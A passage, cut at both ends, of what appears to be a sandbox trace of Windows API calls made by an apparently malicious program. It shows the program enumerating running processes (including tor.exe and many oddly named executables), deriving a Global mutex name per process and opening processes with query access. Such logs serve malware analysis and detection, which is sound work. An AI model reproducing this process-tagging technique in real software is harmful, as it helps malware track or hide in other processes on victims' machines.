[4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0113.911] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0113.911] GetLastError () returned 0x0 [0113.911] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0113.911] CloseHandle (hObject=0x13e0) returned 1 [0113.911] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0113.911] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0113.911] GetLastError () returned 0xb7 [0113.911] CloseHandle (hObject=0x13e0) returned 1 [0113.911] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0113.911] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0113.911] GetLastError () returned 0x0 [0113.911] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0113.911] CloseHandle (hObject=0x13e0) returned 1 [0113.919] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0113.919] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0113.919] GetLastError () returned 0xb7 [0113.919] CloseHandle (hObject=0x13e0) returned 1 [0113.925] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0113.926] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0113.927] CloseHandle (hObject=0x13d8) returned 1 [0113.927] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0114.122] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13d8 [0114.124] Process32FirstW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.125] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.126] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.127] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.128] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.128] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.129] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.130] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.131] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.132] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0114.133] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.133] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.134] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.135] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.136] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.137] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.138] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.139] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.140] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.140] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.141] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.142] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0114.142] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0114.142] GetLastError () returned 0xb7 [0114.142] CloseHandle (hObject=0x13e0) returned 1 [0114.142] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.143] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0114.143] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0114.143] GetLastError () returned 0xb7 [0114.143] CloseHandle (hObject=0x13e0) returned 1 [0114.143] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.144] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.145] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0114.145] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0114.145] GetLastError () returned 0x0 [0114.145] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0114.145] CloseHandle (hObject=0x13e0) returned 1 [0114.145] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.146] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0114.146] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0114.146] GetLastError () returned 0x0 [0114.146] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0114.146] CloseHandle (hObject=0x13e0) returned 1 [0114.146] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.147] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0114.147] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0114.147] GetLastError () returned 0xb7 [0114.147] CloseHandle (hObject=0x13e0) returned 1 [0114.147] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.148] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0114.148] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0114.148] GetLastError () returned 0x0 [0114.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0114.148] CloseHandle (hObject=0x13e0) returned 1 [0114.148] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0114.149] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0114.150] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0114.151] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0114.151] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0114.152] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0114.153] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0114.154] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0114.155] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0114.156] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0114.157] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0114.157] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0114.158] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0114.159] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0114.160] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0114.161] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0114.162] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0114.162] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0114.163] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0114.164] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0114.165] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0114.166] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.166] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0114.167] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.168] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0114.247] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.248] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0114.249] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0114.250] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0114.251] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.251] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0114.252] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0114.252] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0114.252] GetLastError () returned 0xb7 [0114.252] CloseHandle (hObject=0x13e0) returned 1 [0114.252] Process32NextW (in: hSnapshot=0x13d8, 